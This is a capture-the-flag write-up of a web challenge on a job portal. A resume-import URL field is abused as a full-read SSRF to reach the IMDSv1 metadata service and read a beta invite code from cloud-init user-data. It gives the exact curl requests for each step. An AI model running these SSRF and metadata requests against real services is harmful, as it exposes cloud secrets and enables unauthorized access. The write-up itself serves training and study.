МёдХантер I: ранний доступ
МёдХантер I: ранний доступ
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: full_read_ssrf, imdsv1_user_data_exfiltration
Summary
Walkthrough of the CUSTOM Web МёдХантер I: ранний доступ. Task: A resume importer fetches attacker-controlled URLs and reflects invalid response bodies, exposing a full-read SSRF. Solution: Query IMDSv1 user-data, recover the PDF beta invite variable, and ac
title: "МёдХантер I: ранний доступ" id: 20260722_avitoctf_medhanter_i_rannii_dostup category: web difficulty: medium event: avitoctf tags: ["ssrf", "go", "cloud_metadata", "imdsv1"] techniques: ["full_read_ssrf", "imdsv1_user_data_exfiltration"] tools: ["curl"] indicators: ["URL-based resume import", "invalid fetched body reflected in content", "IMDSv1 reachable at 169.254.169.254"]
МёдХантер I: ранний доступ — avitoctf
Description
МедХантер — портал вакансий. Генерация PDF-резюме доступна только в рамках закрытого бета-тестирования; цель — получить действующий код приглашения.
The application is a job portal whose PDF resume feature requires a valid closed-beta invitation code. The goal is to obtain that code and enable the feature for a normal seeker account.
Analysis
The frontend JavaScript exposed three relevant API operations:
POST /api/auth/registercreates a normal seeker account and establishes a session.POST /api/seeker/resume/importaccepts JSON containing a user-controlledurl.POST /api/seeker/pdf/activatevalidates a beta invitation code.
The resume importer performed a server-side HTTP GET. When the fetched response was not a valid resume document, the API returned the complete response body in the JSON content field. Fetching the site frontend produced its HTML inside that field, proving a full-read SSRF, not merely a blind request primitive.
Loopback recon found the Go backend on 127.0.0.1:8080 and the expected frontend/backend/database Docker services. However, bounded route checks did not reveal a useful internal endpoint. The important pivot was to apply generic SSRF methodology beyond loopback and test link-local cloud metadata.
The host allowed unauthenticated IMDSv1 access. Requesting http://169.254.169.254/latest/user-data through the importer returned cloud-init user-data, including the PDF beta deployment variable. No cloud or storage credentials from that response were needed.
Solution
1. Create an ordinary seeker session
Use placeholders rather than preserving a challenge session cookie:
bash read-only • copy allowedBASE='https://hrportal-97vy07q2.avitoctf.ru' curl -sS -c cookies.txt \ -H 'Content-Type: application/json' \ -d '{"email":"<EMAIL>","password":"<PASSWORD>","display_name":"Solver","role":"seeker"}' \ "$BASE/api/auth/register"
The saved response artifact register-seeker.json confirms that the new account had role seeker and pdf_beta_enabled:false.
2. Confirm full-read SSRF
Ask the importer to fetch a non-resume page:
bash read-only • copy allowedcurl -sS -b cookies.txt \ -H 'Content-Type: application/json' \ -d '{"url":"http://127.0.0.1:8080/"}' \ "$BASE/api/seeker/resume/import"
The API embeds the fetched body in its content property when parsing fails. This behavior makes internal HTTP responses directly readable by the attacker.
3. Read cloud-init user-data
Use the same importer to reach the link-local metadata service:
bash read-only • copy allowedcurl -sS -b cookies.txt \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/user-data"}' \ "$BASE/api/seeker/resume/import"
The reflected content contains the deployment configuration, including:
text read-only • copy allowedPDF_BETA_INVITE_CODE=avito{REDACTED}
This confirms that IMDSv1 is reachable without a metadata token and that the importer can read its response.
4. Activate PDF beta access
Copy the recovered value into the activation request:
bash read-only • copy allowedINVITE='avito{REDACTED}' curl -sS -b cookies.txt \ -H 'Content-Type: application/json' \ -d "{\"code\":\"$INVITE\"}" \ "$BASE/api/seeker/pdf/activate"
The server returned HTTP 200:
json read-only • copy allowed{"enabled":true}
A final state check verifies the account change:
bash read-only • copy allowedcurl -sS -b cookies.txt "$BASE/api/me"
The response contains "pdf_beta_enabled":true. These exact success states are preserved in activation-success.json and me-activated.json.
Failed Paths and Distractions
Several bounded alternatives were negative: guessing loopback ports and hidden backend routes, employer registration and role overposting, activation-body type confusion, reuse of public PDF UUIDs or verification codes, obvious session-signing keys, simple SQL injection probes, and seeded default credentials. These checks established that the intended primitive was the importer SSRF; the mistake was initially limiting SSRF recon to ordinary loopback and Docker services.
Reproducible Evidence
notes.md: complete test history, phase checkpoints, metadata finding, and activation verification.import-probes.txt: reflected invalid fetched content demonstrating full-read behavior.register-seeker.json: ordinary seeker account initially had PDF beta disabled.activation-success.json: activation returned{"enabled":true}.me-activated.json:/api/meconfirmedpdf_beta_enabled:true.
Key Takeaways / Lessons
- Mastering full_read_ssrf, imdsv1_user_data_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-22 • CUSTOM • МёдХантер I: ранний доступ • Difficulty: Medium